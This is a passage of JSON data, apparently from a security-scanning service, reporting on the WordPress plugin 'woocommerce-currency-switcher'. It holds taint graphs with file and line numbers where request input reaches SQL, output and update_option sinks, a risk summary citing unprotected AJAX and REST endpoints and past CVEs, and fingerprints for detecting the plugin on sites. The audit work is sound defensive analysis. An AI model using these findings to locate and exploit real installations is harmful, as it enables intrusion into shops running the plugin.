[XSS]",167,"echo",[1783],{"from":1772,"to":1777,"sanitized":50},{"entryPoint":1785,"graph":1786,"unsanitizedCount":275,"severity":1795},"updateRateLimites (classes\\Rates\\ExchangeRateLimiter.php:56)",{"nodes":1787,"edges":1793},[1788,1790],{"id":1772,"type":1773,"label":1789,"file":490,"line":359},"$_POST[?] (x2)",{"id":1777,"type":1778,"label":1791,"file":490,"line":359,"wp_function":1792},"update_option() [Settings Manipulation]","update_option",[1794],{"from":1772,"to":1777,"sanitized":50},"low",{"entryPoint":1797,"graph":1798,"unsanitizedCount":275,"severity":1795},"\u003CExchangeRateLimiter> (classes\\Rates\\ExchangeRateLimiter.php:0)",{"nodes":1799,"edges":1802},[1800,1801],{"id":1772,"type":1773,"label":1789,"file":490,"line":359},{"id":1777,"type":1778,"label":1791,"file":490,"line":359,"wp_function":1792},[1803],{"from":1772,"to":1777,"sanitized":50},{"entryPoint":1805,"graph":1806,"unsanitizedCount":28,"severity":1795},"adapt_data (classes\\reports.php:21)",{"nodes":1807,"edges":1814},[1808,1810],{"id":1772,"type":1773,"label":1809,"file":495,"line":416},"$_GET",{"id":1777,"type":1778,"label":1811,"file":495,"line":1812,"wp_function":1813},"get_results() [SQLi]",65,"get_results",[1815],{"from":1772,"to":1777,"sanitized":867},{"entryPoint":1817,"graph":1818,"unsanitizedCount":92,"severity":1795},"\u003Creports> (classes\\reports.php:0)",{"nodes":1819,"edges":1826},[1820,1821,1822,1824],{"id":1772,"type":1773,"label":1809,"file":495,"line":416},{"id":1777,"type":1778,"label":1811,"file":495,"line":1812,"wp_function":1813},{"id":1823,"type":1773,"label":1774,"file":495,"line":1775},"n2",{"id":1825,"type":1778,"label":1779,"file":495,"line":1780,"wp_function":1781},"n3",[1827,1828],{"from":1772,"to":1777,"sanitized":867},{"from":1823,"to":1825,"sanitized":50},{"entryPoint":1830,"graph":1831,"unsanitizedCount":28,"severity":1795},"save (classes\\smart-designer.php:139)",{"nodes":1832,"edges":1841},[1833,1836,1837,1840],{"id":1772,"type":1773,"label":1834,"file":502,"line":1835},"$_REQUEST['id']",152,{"id":1777,"type":1778,"label":1791,"file":502,"line":1835,"wp_function":1792},{"id":1823,"type":1773,"label":1838,"file":502,"line":1839},"$_REQUEST",147,{"id":1825,"type":1778,"label":1791,"file":502,"line":1835,"wp_function":1792},[1842,1843],{"from":1772,"to":1777,"sanitized":867},{"from":1823,"to":1825,"sanitized":867},{"entryPoint":1845,"graph":1846,"unsanitizedCount":28,"severity":1795},"\u003Csmart-designer> (classes\\smart-designer.php:0)",{"nodes":1847,"edges":1855},[1848,1851,1853,1854],{"id":1772,"type":1773,"label":1849,"file":502,"line":1850},"$_REQUEST (x2)",19,{"id":1777,"type":1778,"label":1791,"file":502,"line":1852,"wp_function":1792},134,{"id":1823,"type":1773,"label":1834,"file":502,"line":1835},{"id":1825,"type":1778,"label":1791,"file":502,"line":1835,"wp_function":1792},[1856,1857],{"from":1772,"to":1777,"sanitized":867},{"from":1823,"to":1825,"sanitized":867},{"entryPoint":1859,"graph":1860,"unsanitizedCount":396,"severity":1795},"print_plugin_options (classes\\woocs.php:1482)",{"nodes":1861,"edges":1996},[1862,1865,1866,1869,1870,1874,1876,1880,1882,1886,1888,1892,1894,1898,1900,1904,1906,1910,1912,1916,1918,1922,1924,1928,1930,1934,1936,1940,1942,1946,1948,1952,1954,1958,1960,1964,1966,1970,1972,1976,1978,1982,1984,1988,1990,1994],{"id":1772,"type":1773,"label":1863,"file":512,"line":1864},"$_POST['woocs_drop_down_view']",1490,{"id":1777,"type":1778,"label":1791,"file":512,"line":1864,"wp_function":1792},{"id":1823,"type":1773,"label":1867,"file":512,"line":1868},"$_POST['woocs_currencies_aggregator']",1491,{"id":1825,"type":1778,"label":1791,"file":512,"line":1868,"wp_function":1792},{"id":1871,"type":1773,"label":1872,"file":512,"line":1873},"n4","$_POST['woocs_aggregator_key']",1492,{"id":1875,"type":1778,"label":1791,"file":512,"line":1873,"wp_function":1792},"n5",{"id":1877,"type":1773,"label":1878,"file":512,"line":1879},"n6","$_POST['woocs_welcome_currency']",1494,{"id":1881,"type":1778,"label":1791,"file":512,"line":1879,"wp_function":1792},"n7",{"id":1883,"type":1773,"label":1884,"file":512,"line":1885},"n8","$_POST['woocs_activate_page_list']",1502,{"id":1887,"type":1778,"label":1791,"file":512,"line":1885,"wp_function":1792},"n9",{"id":1889,"type":1773,"label":1890,"file":512,"line":1891},"n10","$_POST['woocs_customer_signs']",1521,{"id":1893,"type":1778,"label":1791,"file":512,"line":1891,"wp_function":1792},"n11",{"id":1895,"type":1773,"label":1896,"file":512,"line":1897},"n12","$_POST['woocs_customer_price_format']",1522,{"id":1899,"type":1778,"label":1791,"file":512,"line":1897,"wp_function":1792},"n13",{"id":1901,"type":1773,"label":1902,"file":512,"line":1903},"n14","$_POST['woocs_currencies_rate_auto_update']",1523,{"id":1905,"type":1778,"label":1791,"file":512,"line":1903,"wp_function":1792},"n15",{"id":1907,"type":1773,"label":1908,"file":512,"line":1909},"n16","$_POST['woocs_storage']",1534,{"id":1911,"type":1778,"label":1791,"file":512,"line":1909,"wp_function":1792},"n17",{"id":1913,"type":1773,"label":1914,"file":512,"line":1915},"n18","$_POST['woocs_storage_server']",1535,{"id":1917,"type":1778,"label":1791,"file":512,"line":1915,"wp_function":1792},"n19",{"id":1919,"type":1773,"label":1920,"file":512,"line":1921},"n20","$_POST['woocs_storage_port']",1536,{"id":1923,"type":1778,"label":1791,"file":512,"line":1921,"wp_function":1792},"n21",{"id":1925,"type":1773,"label":1926,"file":512,"line":1927},"n22","$_POST['woocs_auto_switcher_skin']",1541,{"id":1929,"type":1778,"label":1791,"file":512,"line":1927,"wp_function":1792},"n23",{"id":1931,"type":1773,"label":1932,"file":512,"line":1933},"n24","$_POST['woocs_auto_switcher_side']",1542,{"id":1935,"type":1778,"label":1791,"file":512,"line":1933,"wp_function":1792},"n25",{"id":1937,"type":1773,"label":1938,"file":512,"line":1939},"n26","$_POST['woocs_auto_switcher_top_margin']",1543,{"id":1941,"type":1778,"label":1791,"file":512,"line":1939,"wp_function":1792},"n27",{"id":1943,"type":1773,"label":1944,"file":512,"line":1945},"n28","$_POST['woocs_auto_switcher_color']",1544,{"id":1947,"type":1778,"label":1791,"file":512,"line":1945,"wp_function":1792},"n29",{"id":1949,"type":1773,"label":1950,"file":512,"line":1951},"n30","$_POST['woocs_auto_switcher_hover_color']",1545,{"id":1953,"type":1778,"label":1791,"file":512,"line":1951,"wp_function":1792},"n31",{"id":1955,"type":1773,"label":1956,"file":512,"line":1957},"n32","$_POST['woocs_auto_switcher_basic_field']",1546,{"id":1959,"type":1778,"label":1791,"file":512,"line":1957,"wp_function":1792},"n33",{"id":1961,"type":1773,"label":1962,"file":512,"line":1963},"n34","$_POST['woocs_auto_switcher_additional_field']",1547,{"id":1965,"type":1778,"label":1791,"file":512,"line":1963,"wp_function":1792},"n35",{"id":1967,"type":1773,"label":1968,"file":512,"line":1969},"n36","$_POST['woocs_auto_switcher_show_page']",1548,{"id":1971,"type":1778,"label":1791,"file":512,"line":1969,"wp_function":1792},"n37",{"id":1973,"type":1773,"label":1974,"file":512,"line":1975},"n38","$_POST['woocs_auto_switcher_hide_page']",1549,{"id":1977,"type":1778,"label":1791,"file":512,"line":1975,"wp_function":1792},"n39",{"id":1979,"type":1773,"label":1980,"file":512,"line":1981},"n40","$_POST['woocs_auto_switcher_mobile_show']",1550,{"id":1983,"type":1778,"label":1791,"file":512,"line":1981,"wp_function":1792},"n41",{"id":1985,"type":1773,"label":1986,"file":512,"line":1987},"n42","$_POST['woocs_auto_switcher_roll_px']",1551,{"id":1989,"type":1778,"label":1791,"file":512,"line":1987,"wp_function":1792},"n43",{"id":1991,"type":1773,"label":1992,"file":512,"line":1993},"n44","$_POST['woocs_no_cents']",1601,{"id":1995,"type":1778,"label":1791,"file":512,"line":1993,"wp_function":1792},"n45",[1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019],{"from":1772,"to":1777,"sanitized":50},{"from":1823,"to":1825,"sanitized":50},{"from":1871,"to":1875,"sanitized":50},{"from":1877,"to":1881,"sanitized":50},{"from":1883,"to":1887,"sanitized":50},{"from":1889,"to":1893,"sanitized":50},{"from":1895,"to":1899,"sanitized":50},{"from":1901,"to":1905,"sanitized":50},{"from":1907,"to":1911,"sanitized":50},{"from":1913,"to":1917,"sanitized":50},{"from":1919,"to":1923,"sanitized":50},{"from":1925,"to":1929,"sanitized":50},{"from":1931,"to":1935,"sanitized":50},{"from":1937,"to":1941,"sanitized":50},{"from":1943,"to":1947,"sanitized":50},{"from":1949,"to":1953,"sanitized":50},{"from":1955,"to":1959,"sanitized":50},{"from":1961,"to":1965,"sanitized":50},{"from":1967,"to":1971,"sanitized":50},{"from":1973,"to":1977,"sanitized":50},{"from":1979,"to":1983,"sanitized":50},{"from":1985,"to":1989,"sanitized":50},{"from":1991,"to":1995,"sanitized":50},{"entryPoint":2021,"graph":2022,"unsanitizedCount":28,"severity":1795},"get_rate (classes\\woocs.php:2736)",{"nodes":2023,"edges":2028},[2024,2026],{"id":1772,"type":1773,"label":1849,"file":512,"line":2025},2742,{"id":1777,"type":1778,"label":1779,"file":512,"line":2027,"wp_function":1781},2752,[2029],{"from":1772,"to":1777,"sanitized":867},{"entryPoint":2031,"graph":2032,"unsanitizedCount":28,"severity":1795},"add_currencies_ajax (classes\\woocs.php:2822)",{"nodes":2033,"edges":2038},[2034,2036],{"id":1772,"type":1773,"label":1838,"file":512,"line":2035},2829,{"id":1777,"type":1778,"label":1791,"file":512,"line":2037,"wp_function":1792},2852,[2039],{"from":1772,"to":1777,"sanitized":867},{"entryPoint":2041,"graph":2042,"unsanitizedCount":28,"severity":1795},"update_profiles_data (classes\\woocs.php:5720)",{"nodes":2043,"edges":2048},[2044,2047],{"id":1772,"type":1773,"label":2045,"file":512,"line":2046},"$_POST (x3)",5728,{"id":1777,"type":1778,"label":1779,"file":512,"line":1029,"wp_function":1781},[2049],{"from":1772,"to":1777,"sanitized":867},{"entryPoint":2051,"graph":2052,"unsanitizedCount":28,"severity":1795},"\u003Cwoocs> (classes\\woocs.php:0)",{"nodes":2053,"edges":2115},[2054,2055,2056,2057,2058,2059,2060,2061,2062,2063,2064,2065,2066,2067,2068,2069,2070,2071,2072,2073,2074,2075,2076,2077,2078,2079,2080,2081,2082,2083,2084,2085,2086,2087,2088,2089,2090,2091,2092,2093,2094,2095,2096,2097,2098,2099,2100,2103,2105,2107,2109,2113],{"id":1772,"type":1773,"label":1863,"file":512,"line":1864},{"id":1777,"type":1778,"label":1791,"file":512,"line":1864,"wp_function":1792},{"id":1823,"type":1773,"label":1867,"file":512,"line":1868},{"id":1825,"type":1778,"label":1791,"file":512,"line":1868,"wp_function":1792},{"id":1871,"type":1773,"label":1872,"file":512,"line":1873},{"id":1875,"type":1778,"label":1791,"file":512,"line":1873,"wp_function":1792},{"id":1877,"type":1773,"label":1878,"file":512,"line":1879},{"id":1881,"type":1778,"label":1791,"file":512,"line":1879,"wp_function":1792},{"id":1883,"type":1773,"label":1884,"file":512,"line":1885},{"id":1887,"type":1778,"label":1791,"file":512,"line":1885,"wp_function":1792},{"id":1889,"type":1773,"label":1890,"file":512,"line":1891},{"id":1893,"type":1778,"label":1791,"file":512,"line":1891,"wp_function":1792},{"id":1895,"type":1773,"label":1896,"file":512,"line":1897},{"id":1899,"type":1778,"label":1791,"file":512,"line":1897,"wp_function":1792},{"id":1901,"type":1773,"label":1902,"file":512,"line":1903},{"id":1905,"type":1778,"label":1791,"file":512,"line":1903,"wp_function":1792},{"id":1907,"type":1773,"label":1908,"file":512,"line":1909},{"id":1911,"type":1778,"label":1791,"file":512,"line":1909,"wp_function":1792},{"id":1913,"type":1773,"label":1914,"file":512,"line":1915},{"id":1917,"type":1778,"label":1791,"file":512,"line":1915,"wp_function":1792},{"id":1919,"type":1773,"label":1920,"file":512,"line":1921},{"id":1923,"type":1778,"label":1791,"file":512,"line":1921,"wp_function":1792},{"id":1925,"type":1773,"label":1926,"file":512,"line":1927},{"id":1929,"type":1778,"label":1791,"file":512,"line":1927,"wp_function":1792},{"id":1931,"type":1773,"label":1932,"file":512,"line":1933},{"id":1935,"type":1778,"label":1791,"file":512,"line":1933,"wp_function":1792},{"id":1937,"type":1773,"label":1938,"file":512,"line":1939},{"id":1941,"type":1778,"label":1791,"file":512,"line":1939,"wp_function":1792},{"id":1943,"type":1773,"label":1944,"file":512,"line":1945},{"id":1947,"type":1778,"label":1791,"file":512,"line":1945,"wp_function":1792},{"id":1949,"type":1773,"label":1950,"file":512,"line":1951},{"id":1953,"type":1778,"label":1791,"file":512,"line":1951,"wp_function":1792},{"id":1955,"type":1773,"label":1956,"file":512,"line":1957},{"id":1959,"type":1778,"label":1791,"file":512,"line":1957,"wp_function":1792},{"id":1961,"type":1773,"label":1962,"file":512,"line":1963},{"id":1965,"type":1778,"label":1791,"file":512,"line":1963,"wp_function":1792},{"id":1967,"type":1773,"label":1968,"file":512,"line":1969},{"id":1971,"type":1778,"label":1791,"file":512,"line":1969,"wp_function":1792},{"id":1973,"type":1773,"label":1974,"file":512,"line":1975},{"id":1977,"type":1778,"label":1791,"file":512,"line":1975,"wp_function":1792},{"id":1979,"type":1773,"label":1980,"file":512,"line":1981},{"id":1983,"type":1778,"label":1791,"file":512,"line":1981,"wp_function":1792},{"id":1985,"type":1773,"label":1986,"file":512,"line":1987},{"id":1989,"type":1778,"label":1791,"file":512,"line":1987,"wp_function":1792},{"id":1991,"type":1773,"label":1992,"file":512,"line":1993},{"id":1995,"type":1778,"label":1791,"file":512,"line":1993,"wp_function":1792},{"id":2101,"type":1773,"label":2102,"file":512,"line":2025},"n46","$_REQUEST (x4)",{"id":2104,"type":1778,"label":1779,"file":512,"line":2027,"wp_function":1781},"n47",{"id":2106,"type":1773,"label":1838,"file":512,"line":2035},"n48",{"id":2108,"type":1778,"label":1791,"file":512,"line":2037,"wp_function":1792},"n49",{"id":2110,"type":1773,"label":2111,"file":512,"line":2112},"n50","$_POST (x2)",5732,{"id":2114,"type":1778,"label":1779,"file":512,"line":1029,"wp_function":1781},"n51",[2116,2117,2118,2119,2120,2121,2122,2123,2124,2125,2126,2127,2128,2129,2130,2131,2132,2133,2134,2135,2136,2137,2138,2139,2140,2141],{"from":1772,"to":1777,"sanitized":867},{"from":1823,"to":1825,"sanitized":867},{"from":1871,"to":1875,"sanitized":867},{"from":1877,"to":1881,"sanitized":867},{"from":1883,"to":1887,"sanitized":867},{"from":1889,"to":1893,"sanitized":867},{"from":1895,"to":1899,"sanitized":867},{"from":1901,"to":1905,"sanitized":867},{"from":1907,"to":1911,"sanitized":867},{"from":1913,"to":1917,"sanitized":867},{"from":1919,"to":1923,"sanitized":867},{"from":1925,"to":1929,"sanitized":867},{"from":1931,"to":1935,"sanitized":867},{"from":1937,"to":1941,"sanitized":867},{"from":1943,"to":1947,"sanitized":867},{"from":1949,"to":1953,"sanitized":867},{"from":1955,"to":1959,"sanitized":867},{"from":1961,"to":1965,"sanitized":867},{"from":1967,"to":1971,"sanitized":867},{"from":1973,"to":1977,"sanitized":867},{"from":1979,"to":1983,"sanitized":867},{"from":1985,"to":1989,"sanitized":867},{"from":1991,"to":1995,"sanitized":867},{"from":2101,"to":2104,"sanitized":867},{"from":2106,"to":2108,"sanitized":867},{"from":2110,"to":2114,"sanitized":867},{"summary":2143,"deductions":2144},"The \"woocommerce-currency-switcher\" plugin version 1.4.6 presents a mixed security posture. While it demonstrates some good practices, such as a high percentage of SQL queries using prepared statements and a majority of output being properly escaped, significant concerns remain regarding its attack surface. A substantial number of AJAX handlers (20 out of 29) and REST API routes (2 out of 3) lack proper authorization checks, creating clear entry points for unauthorized actions. The presence of unsanitized paths in taint analysis, although not flagged as critical or high severity in this specific analysis, warrants attention due to its potential for exploitation.\n\nThe plugin's vulnerability history is a notable weakness. With a total of 12 known CVEs, including 3 high-severity vulnerabilities, and common types like Missing Authorization, Code Injection, CSRF, XSS, and PHP RFI, it suggests a recurring pattern of security flaws. Although there are currently no unpatched CVEs, the sheer volume and nature of past vulnerabilities indicate a need for more robust and proactive security development. The last vulnerability being as recent as November 2024 further emphasizes this concern.\n\nIn conclusion, while the plugin has some positive security attributes, the extensive unprotected entry points and a history of significant past vulnerabilities significantly elevate the risk. Users should exercise caution, and developers should prioritize addressing the identified authorization gaps and focus on improving the overall security development lifecycle to prevent future vulnerabilities.",[2145,2147,2149,2151,2154],{"reason":2146,"points":339},"High number of unprotected AJAX handlers",{"reason":2148,"points":1758},"High number of unprotected REST API routes",{"reason":2150,"points":444},"Known vulnerability history (3 high severity)",{"reason":2152,"points":2153},"Taint analysis shows unsanitized paths",5,{"reason":2155,"points":2153},"Recent vulnerability in Nov 2024","2026-03-16T17:17:50.971Z",{"wat":2158,"direct":2183},{"assetPaths":2159,"generatorPatterns":2173,"scriptPaths":2174,"versionParams":2175},[2160,2161,2162,2163,2164,2165,2166,2167,2168,2169,2170,2171,2172],"\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fcss\u002Ffront.css","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Ffront.js","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.cookie.js","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.fdd.js","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.wSelect.js","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.tm Stickup.js","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.drewdown.js","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fimages\u002Farrow_down.png","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fimages\u002Farrow_up.png","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fimages\u002Farrow.png","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fimages\u002Farrow_left.png","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fimages\u002Farrow_right.png","\u002Fwp-content\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fimages\u002Floading.gif",[],[2161,2162,2163,2164,2165,2166],[2176,2177,2178,2179,2180,2181,2182],"woocommerce-currency-switcher\u002Fassets\u002Fcss\u002Ffront.css?ver=","woocommerce-currency-switcher\u002Fassets\u002Fjs\u002Ffront.js?ver=","woocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.cookie.js?ver=","woocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.fdd.js?ver=","woocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.wSelect.js?ver=","woocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.tm Stickup.js?ver=","woocommerce-currency-switcher\u002Fassets\u002Fjs\u002Fjquery.drewdown.js?ver=",{"cssClasses":2184,"htmlComments":2189,"htmlAttributes":2194,"restEndpoints":2199,"jsGlobals":2202,"shortcodeOutput":2212},[2185,2186,2187,2188],"woocs-curr-dropdown","woocs-curr-menu","woocs-curr-flags","woocs-curr-widget",[2190,2191,2192,2193],"\u003C!-- START WOOCS CURRENCY SWITCHER -->","\u003C!-- END WOOCS CURRENCY SWITCHER -->","\u003C!-- STRAT WOOCS FLAG -->","\u003C!-- END WOOCS FLAG -->",[2195,2196,2197,2198],"data-currency=\"","data-currency-code=\"","data-currency-symbol=\"","data-currency-rate=\"",[2200,2201],"\u002Fwp-json\u002Fwoocs\u002Fv1\u002Fcurrencies","\u002Fwp-json\u002Fwoocs\u002Fv1\u002Fproducts",[2203,2204,2205,2206,2207,2208,2209,2210,2211],"woocs_current_currency","woocs_current_currency_symbol","woocs_current_currency_thousand_sep","woocs_current_currency_decimal_sep","woocs_current_currency_decimals","woocs_current_currency_position","woocs_current_currency_rate","woocs_current_currency_data","woocs_lang",[2213,2214,2215],"[woocs]","[woocs_current_currency]","[woocs_currencies]",{"error":867,"url":2217,"statusCode":924,"statusMessage":2218,"message":2218},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fwoocommerce-currency-switcher\u002Fbundle","no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":92,"versions":2220},[2221],{"version":2222,"download_url":2223,"svn_tag_url":2224,"released_at":38,"has_diff":50,"diff_files_changed":2225,"diff_lines":38,"trac_diff_url":38,"vulnerabilities":2226,"is_current":50},"1.4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-currency-switcher.1.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwoocommerce-currency-switcher\u002Ftags\u002F1.4.2\u002F",[],[2227,2228,2229,2230,2231],{"id":34,"url_slug":35,"title":36,"severity":40,"cvss_score":41,"vuln_type":43,"patched_in_version":6},{"id":61,"url_slug":62,"title":63,"severity":40,"cvss_score":65,"vuln_type":67,"patched_in_version":6},{"id":78,"url_slug":79,"title":80,"severity":84,"cvss_score":85,"vuln_type":87,"patched_in_version":83},{"id":107,"url_slug":108,"title":109,"severity":40,"cvss_score":113,"vuln_type":43,"patched_in_version":112},{"id":95,"url_slug":96,"title":97,"severity":84,"cvss_score":85,"vuln_type":87,"patched_in_version":100}]